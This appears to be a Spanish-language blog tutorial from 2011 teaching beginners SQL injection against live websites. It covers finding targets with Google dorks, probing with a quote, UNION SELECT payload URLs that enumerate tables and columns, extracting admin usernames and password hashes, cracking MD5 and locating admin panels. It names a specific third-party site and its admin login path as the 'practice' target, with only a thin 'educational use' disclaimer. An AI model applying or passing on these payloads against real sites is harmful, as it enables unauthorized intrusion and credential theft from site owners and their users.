Está en la página 1de 8

Tutorial de Inyeccin SQL para principiantes

Publicado por OverNet en sbado, julio 23, 2011 ,


Primero y antes que nada, debemos saber muy bien los conceptos de cada uno que tocaremos en
este tema.

SQL Injection - Tutorial by OverNET
Qu es SQL?
Significa un Lenguaje de Consulta Estructurado (en ingles Structured Query Languaje). Como su
nombre lo indica es un lenguaje para tener acceso a una Base de Datos que nos permite realizar varias
operaciones en ella, como poder guardar informacin privada de un sitio web, contraseas, nombres, y
otras cosas.

Sin embargo, muchos CMS Sistema de Gestin de Contenidos (en ingles Content Management
System) utilizan SQL para acceder a una Base de Datos (PhpMyAdmin) y guardar informacin.

CMS (Sistema de Gestin de Contenidos) no es ningn tipo de programa literalmente, sin embargo,
es programado para que los usuarios tengan la facilidad de crear su pagina web utilizando una base de
datos.
Algunos CMS son muy populares como lo son; SMF, Wordpress, y Blogger entre otros.

Y qu significa SQLi?
Son la abreviatura de SQL Injection. Aunque, SQLi es un bug bastante viejo, existen CMS o pginas
web con esta vulnerabilidad.

Debido que es un post para principiantes y un poco largo, no ir muy a fondo sobre los conceptos, por
eso mejor aqu la dejamos y vamos al tutorial.

Donde puedo encontrar paginas vulnerables a SQLi?
En Google, sin embargo, existen Dorks (Palabras claves para poder encontrar CMS vulnerables con
facilidad). De cualquier manera no es muy difcil encontrar sitios (Probablemente) vulnerables a SQLi.


Logotipo de Google
Solo es cuestin de ingeniarse las palabras claves para encontrar sitios Web con este bug.
No entendiste? La Inyeccin SQL se empieza por encontrar en una url muy parecido a
esto: /index.php?id=28, sin embargo, la inyeccin se comienza en la variable id=28.

Tutorial Inyeccin SQL para principiantes
Primera fase
Un ejemplo de como buscar en Google
1) Nos dirigimos a la pagina de Google y en el buscador colocamos esto id = cat index.php?
Nota: Actualmente Google ha actualizado su buscador, ha mejorado sus herramientas, y la
interfaz grafica.
Sin embargo, obtendremos tal resultado como la imagen:

Google 2011-Junio: Buscador

2) Tambin podemos utilizar la barra lateral Izquierda para encontrar ms sitios vulnerables.

Barra lateral de Google Search 2011
Como saber si la pgina es vulnerable?
Bastante sencillo, tan solo colocar una ' (Comillas, coma, punto, cualquier caracter) al final de la
variable es decir /index.php?id=28' nos deber marcar un error ms o menos as (Puede variar los
errores, pero el ms comn entre ellos es este):
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ''' at line 1
S de lo contrario no muestra error, quizs el sitio no sea vulnerable.. (Pero no
significa que no sea vulnerable a SQLi).
Como? Osea es vulnerable o no?
Djame explicarlo, muchos administradores no tienen idea lo fcil que es arreglar este bug
(SQLi) en su pagina web, lo que ellos hacen es unicamente agregar una funcin en PHP
para evitar que se muestren los errores de la web es un error muy grave que cometen
los webmaster, ni ms ni menos, este es el sencillo cdigo PHP que utilizan:
<?php error_reporting(0); ?>Cabe mencionar que es un error muy comn por parte de los
administradores, ya que eso no arregla el bug, sin embargo, el bug sigue all.. Es un
problema para la seguridad de su sitio, ya que el atacante podr darse cuenta y seguir
intentando hasta tener el usuario y contrasea de la administracin fcilmente.

Explicacin resumida:
Tenemos la siguiente pgina como ejemplo http://www.asfasd.com/index.php?cat=45
Agregamos una comilla al final de la url http://www.asfasd.com/index.php?cat=45'
Nos muestra el siguiente error You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use near ''' at line
1

Explotando el Bug
Segunda fase
Viene la parte un poco ms tediosa.
Pero antes de llegar a esta parte necesitamos entender dos conceptos:
UNION se usa para combinar el resultado de un nmero de comandos
SELECT en un conjunto de resultados.
Fuente | http://dev.mysql.com/doc/refman/5.0/es/union.html

Ahora ya habamos visto que nos lanzo un error anteriormente y que si era vulnerable, ahora es tiempo
de buscar hasta encontrar la columna vulnerable.
Un ejemplo sencillo de como empezar la inyeccin tenemos lo siguiente /index.php?cat=45 ahora
antes de la variable (45) y despus del signo (=) agregaremos el signo de menos (-) deber quedar as:
/articulo.php?articulo=-230 y agregamos el union y select y empezamos a
partir del numero 1 o el numero 0.
/articulo.php?articulo=-230+union+select+1-- (Muy importante poner los
dos ltimos guiones).
/articulo.php?articulo=-230+union+select+1,2,3-- (Es importante poner la
coma entre cada numero)
Seguiremos as, hasta que no nos vuelva salir error como el anterior

Como sabre si el numero de la columna es vulnerable?
Al momento que veas uno o ms nmeros en la web y que no haya un error quiere decir que le hemos
dado a la columna vulnerable, un ejemplo real:

Columnas vulnerables
Lo que esta marcado en recuadro esos nmeros no son errores, y en la barra de direcciones esta la
semi-inyeccin.
En resumen los nmeros marca que podemos concluir la inyeccin en este caso me ir sobre el numero
2 (color azul).
Hay que tener en cuenta tambin, la versin de la base de datos si es 5.*.* - comunity se podrn sacar
los nombres de las tablas y columnas, si de lo contrario es inferior a la versin 5, es decir versin 4 no
se podr extraer los nombres de las tablas y/o columnas, se tiene que hacer a ciegas y es un poco
tedioso.
Para saber la versin de la base de datos (SQL) solo agregamos al final de union+select+1,2,3,4,5
database()

Tercera fase
Sacando nombre de las Tablas
Desde la barra de direcciones remplazamos el numero 2 por group_concat(table_name) debe quedar
algo as:
/articulo.php?articulo=-
230+union+select+1,group_concat(table_name),3,4,5+from+information_s
chema.tables--
Tambin es importante agregar el +from+information_schema.tables-- al final, despus ingresamos
esa url y nos da como resultado todos los nombres de las tablas que existen en la Base de dados.
Ejemplo real:

Nombre de las Tablas (Incompleta)
Nota | Como se ve en la imagen, tenemos como resultado los nombres de las tablas. Pero hay un
pequeo problema, el tamao de la pgina nos limita a que solo veamos una cierta cantidad de numero
de tablas (Por naturaleza).
Sin embargo, no hay nada que nos impida, pues gracias a una funcin de SQL podemos utilizar
otra alternativa, en este caso ser la opcin limit que nos permitir limitar el rango de registro, y as
poder acceder a la tabla del administrador o la de usuarios.

En este caso hay que hacer lo siguiente, quitamos group_concat() y solo dejamos table_name y al
final de information_schema.tables agregamos +limit+1,1-- as quedar la url:
/articulo.php?articulo=-
230+union+select+1,table_name,3,4,5+from+information_schema.tables+li
mit+1,1--
Lo cul nos mostrar el nombre de la primer tabla, es decir, tendremos que buscar la tabla en donde se
encuentra la del admin o la de usuarios
Nota | Puedes seguir utilizando la misma serie de 10 en 10 para que sea ms rpido de encontrar la
tabla de usuarios, ya que esta en orden alfabtico de la a - z.

Un ejemplo sencillo:
/articulo.php?articulo=-
230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit
+10,1--
La tabla es KEY_COLUMN_USAGE (No es la que buscamos)
Seguimos aumentando de 10 en 10:
/articulo.php?articulo=-
230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit
+20,1--
La tabla es SESSION_VARIABLES (No es la que buscamos)
Seguimos intentado..
/articulo.php?articulo=-
230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit
+30,1--,1--
La tabla es cotizaciones (No es la que buscamos, pero estamos un poco cerca..)
Y as, hasta dar con el nombre de la tabla uno que diga: admin, administrador, usuarios, users,
usuaris, etc.. (Puede variar los nombres de las tablas y columnas por el idioma)
/articulo.php?articulo=-
230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit
+38,1--
La tabla es admin ( Bingo, es la que buscamos !!)
Una ves que tengamos el nombre de la tabla que queremos y es en este caso admin vamos a convertirla
en ASCII les dejo la herramienta online para el conversor de String a ASCII
| http://easycalculation.com/ascii-hex.php
admin = 97 100 109 105 110
Como ven, la cadena admin esta en ASCII.

Extraccin de columnas de la tabla
Cuarta fase

Ahora modificamos nuestra url algo que quede as (incluyendo admin, pero convertida en ASCII):
Nota | Lo marcado en negritas es lo que modifico la url anterior.
/articulo.php?articulo=-
230+union+select+1,group_concat(column_name),3,4,5+from+information_
schema.columns+where+table_name=char(97,100,109,105,110)--
Como resultado nos tendr que imprimir los nombres de las columnas, por ejemplo:
email, contrasena, usuario, pwd
Un ejemplo real es este:


Extraccin de columnas


Otra alternativa pero utilizando la misma opcin es utilizando el limit lo cul solo nos imprimir el
rango de la columna que le indiquemos.
Ejemplo:
/articulo.php?articulo=-
230+union+select+1,column_name,3,4,5+from+information_schema.columns
+where+table_name=char(97,100,109,105,110)+limit+0,1--

Extraccin de usuario y contrasea
Quinta fase
Esta parte es la ms fcil, ya que lo anterior era lo complicado. Supongamos que ya sabemos los
nombres de la tabla en este caso es admin y las columnas que nos interesan
son usuario y pwd (contrasea), ahora hay que extraer los datos de esas dos columnas y para eso
hacemos lo siguiente.:
Nota | Recuerda que lo remarcado en negritas es lo que cambia la url anterior.
/articulo.php?articulo=-
230+union+select+1,group_concat(usuario,0x3a,pwd),3,4,5+from+admin--
Con esa simple inyeccin nos mostrar el usuario y contrasea de la administracin.

SQL Injection

: = 0x3a (Hexadecimal)
usuario = Columna
pwd = Columna
admin = Tabla
La contrasea esta encriptada en MD5 Hash
Es lo peor que viene en este caso al no poder ver la contrasea real cuando esta encriptada en MD5
Hash.
Pero gracias a que existen herramientas y diccionarios para crackear MD5 las contraseas se pueden
desencriptar.
Pero hay que tener muy en cuenta que no todos los Hash son MD5 puede variar el tipo de Hash por la
seguridad del CMS, hay contraseas encriptadas en SHA-1, MD4, Base64, etc.. Son muy diferentes al
MD5.
Pero les dejo una lista para que puedan diferenciar el tipo de Hash
| http://www.insidepro.com/hashes.php tambin una herramienta en PHP para crackear Hash MD5
Online, tienen que subirlo a un FTP.
Herramienta crack MD5 Hash online mult.

No encuentro el login o la administracin de la pgina?
Por suerte tambin existen herramientas para poder encontrar el path en la que se encuentre el login de
la administracin, ac les dejo uno codeado por neutralised | Admin Panel Finder PHP.

Pagina para practicar
Como se pudieron dar cuenta, este tutorial me gui en una pagina vulnerable y esa pagina es esta:
http://www.ancvm.com/articulo.php?articulo=-230
Administracin de la pagina, la administracin de la web esta en este path
http://www.ancvm.com/admin/login.php
NOTA | Recuerden que esta pagina puede que por el tiempo no sea vulnerable a este tipo de
I nyeccin, tambin no abusen de los datos del administrador ni anden jodiendo la web, este tutorial
es de uso educativo y el administrador de este blog no se hace responsable de lo que el usuario
pudiera hacer con esta informacin.

Fin del Tutorial
Este tutorial fue creado por OverNET, si tienen dudas o sugerencias pueden escribirlas en este
mismo post.

También podría gustarte